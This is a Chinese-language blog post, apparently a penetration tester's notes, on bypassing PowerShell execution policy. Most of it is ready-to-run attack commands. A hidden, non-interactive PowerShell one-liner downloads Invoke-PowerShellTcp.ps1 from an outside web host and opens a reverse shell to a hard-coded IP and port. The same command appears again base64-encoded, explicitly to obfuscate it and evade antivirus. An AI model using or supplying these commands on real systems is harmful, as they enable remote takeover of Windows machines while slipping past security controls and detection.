PowerShell的执行策略
查看当前的执行策略
- Restricted:脚本不能运行(默认设置)。
- RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(用于数字证书签名的除外)
- Allsigned:仅当脚本由受信任的发布者签名时才能运行。
- Unrestricted:允许所有脚本运行。
设置执行策略:
1
| ps> Set-ExecutionPolicy <policy name>
|
绕过PowerShell执行策略
1、执行本地脚本
1 2 3
| Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1
powershell.exe -exec bypass -Command "& {Import-Module C:\Path\XXX.ps1; Invoke-Allchecks}"
|
2、执行云服务器脚本,在内存中执行
1
| PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString('http://www.2h0ng.wiki/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 123.57.95.65 -Port 2333
|
- -ExecutionPolicy Bypass(-Exec Bypass):绕过安全策略。
- -WindowStyle Hidden(-W Hidden):隐藏窗口。
- -NonInteractive(-NonI):非交互模式。
- -noexit:执行后不退出Shell。此选项在使用键盘记录时很重要。
- -NoLogo:启动不显示版权标志的PowerShell。
3、使用base64对PowerShell命令进行编码
目的是混淆和压缩代码,形成免杀效果。
注意:这里对Powershell执行的代码(IEX之后的内容)进行了base64原生编码,《内网安全攻防》中推荐的脚本是https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py。和普通的base64编码的区别是,在每个字符后加了一个0x00。为什么这种编码才能被PowerShell执行?暂时不知。
1 2 3
| base64编码的是Powershell执行内容 ----> IEX(New-Object Net.WebClient).DownloadString('http://www.2h0ng.wiki/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 123.57.95.65 -Port 2333
Powershell.exe -NoP -NonI -Exec Bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHcAdwB3AC4AMgBoADAAbgBnAC4AdwBpAGsAaQAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACcAKQA7AEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAgAC0AUgBlAHYAZQByAHMAZQAgAC0ASQBQAEEAZABkAHIAZQBzAHMAIAAxADIAMwAuADUANwAuADkANQAuADYANQAgACAALQBQAG8AcgB0ACAAMgAzADMAMwA=
|
32位和64位的PowerShell
1 2 3
| powershell.exe -NoP -NonI -Exec Bypass %WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -Exec Bypass 查看运行版本:Get-Host
|
上一篇:FastAdminv1.0.0.20200506_beta前台GetShell复现
下一篇:CVE‐2020‐14882 weblogic未授权命令执行复现